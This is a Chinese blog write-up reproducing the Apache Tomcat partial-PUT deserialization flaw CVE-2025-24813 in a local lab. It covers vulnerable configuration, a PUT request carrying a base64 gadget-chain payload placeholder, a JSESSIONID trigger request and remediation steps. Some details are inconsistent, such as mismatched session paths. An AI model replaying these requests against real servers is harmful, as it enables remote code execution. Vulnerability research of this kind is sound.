【漏洞复现】Apache Tomcat partial PUT文件上传反序列化漏洞复现(CVE-2025-24813)

发布于:2025-03-30 ⋅ 阅读:(57) ⋅ 点赞:(0)

❤️博客主页 iknow181
🔥系列专栏 网络安全、 PythonJavaSEJavaWebCCNP
🎉欢迎大家点赞👍收藏⭐评论✍


在这里插入图片描述

0x00 免责声明

本文所述漏洞复现方法仅供安全研究及授权测试使用;任何个人/组织须在合法合规前提下实施,严禁用于非法目的。作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。

0x01 漏洞描述

Apache Tomcat是由Apache软件基金会下属的Jakarta项目开发的Servlet容器。2025年3月,官方披露 CVE-2025-24813 Apache Tomcat partial PUT文件上传反序列化漏洞。

在 CVE-2025-24813 中在开启了PUT(默认关闭)的前提下,若同时开启了tomcat 持久化Session配置,攻击者可利用PUT上传文件,并构造恶意请求触发session文件反序列化,若同时有可利用gadget的情况下可能造成代码执行。

漏洞前置依赖条件较多,实际场景较为有限,需同时满足以下五个条件:

  1. 应用程序启用了DefaultServlet写入功能(默认情况下禁用)
  2. 服务器启用了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中(默认启用)
  3. 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件),需要额外配置
  4. 攻击者已知目标敏感文件的路径以及文件名
  5. 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

0x02 漏洞影响范围

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

0x03 原理分析

Content-Range 在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。当文件上传未完成时,上传的内容会暂时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT。该漏洞的关键在于处理不完整PUT请求时对文件名的处理机制:文件路径中的分隔符/会被替换为.。例如,访问路径/iknow/session会被解析为.iknow.session

漏洞的利用过程如下:
1. Tomcat的File会话存储默认路径也位于:$CATALINA_BASE/work/Catalina/localhost/ROOT
2. 当存在反序列化利用链时,攻击者可以上传包含恶意序列化数据的文件。
3. 通过设置JSESSIONID=.xxxxx来触发漏洞。

0x04 环境准备

下列地址均以本机apache-tomcat-9.0.97路径做示例

tomcat 下载地址:Index of /dist/tomcat/tomcat-9/v9.0.97/bin

1. 修改资源写入:

访问web.xml进行数据编辑

apache-tomcat-9.0.97\conf\web.xml

找到DefaultServlet 在下面增加一个redonly 设为false

<init-param>
  <param-name>readonly</param-name>
  <param-value>false</param-value>
</init-param>

2. 开启会话存储:

访问context.xml增加文件会话存储

apache-tomcat-9.0.97\conf\context.xml

添加下列配置开启文件会话存储

<Manager className="org.apache.catalina.session.PersistentManager">  
  <Store className="org.apache.catalina.session.FileStore" />  
</Manager>

3. 添加反序列化文件Commons Collections 3.2.1.jar

Commons Collections 3.2.1.jar 是一个 Java 类库文件,它属于 Apache Commons Collections 项目,因此需要新建个lib目录。进入下列路径

apache-tomcat-9.0.97\webapps\ROOT\WEB-INF\

新增lib文件夹并放入调用链jar包

调用链地址:

http://gitlab.53site.com/shuzhan/oss/-/raw/master/lib/commons-collections-3.2.1.jar?ref_type=heads

4. 完成后重启tomcat使配置生效

0x05 漏洞复现

1.调用链构建

调用K1链生成发序列化数据

2.构建写入数据包

直接把生成的代码整个复制过去,因为生成的代码是经过base64编码的,所以发送的时候需要解码

成功状态码是409

PUT /ikonw/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

 {{base64dec(payload)}}

执行后会在下列路径中生成对应的文件

3.触发文件

注意这里JSESSIONID保持与写入值一致

GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.iknow

此处需要注意,如果访问get请求返回码是200,说明失败了,请重新进行put请求

0x06 修复建议

  1. 临时防护措施

- 在不影响业务的前提下,用户可将conf/web.xml文件中的串口参数设置为true或进行注释

- 取消PUT方法并重新启动Tomcat服务使配置生效

- 将org.apache.catalina.session.PersistentManager设置为false

  1. 补丁修复

Apache基金会官方已发布漏洞公告,可下载补丁更新

https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到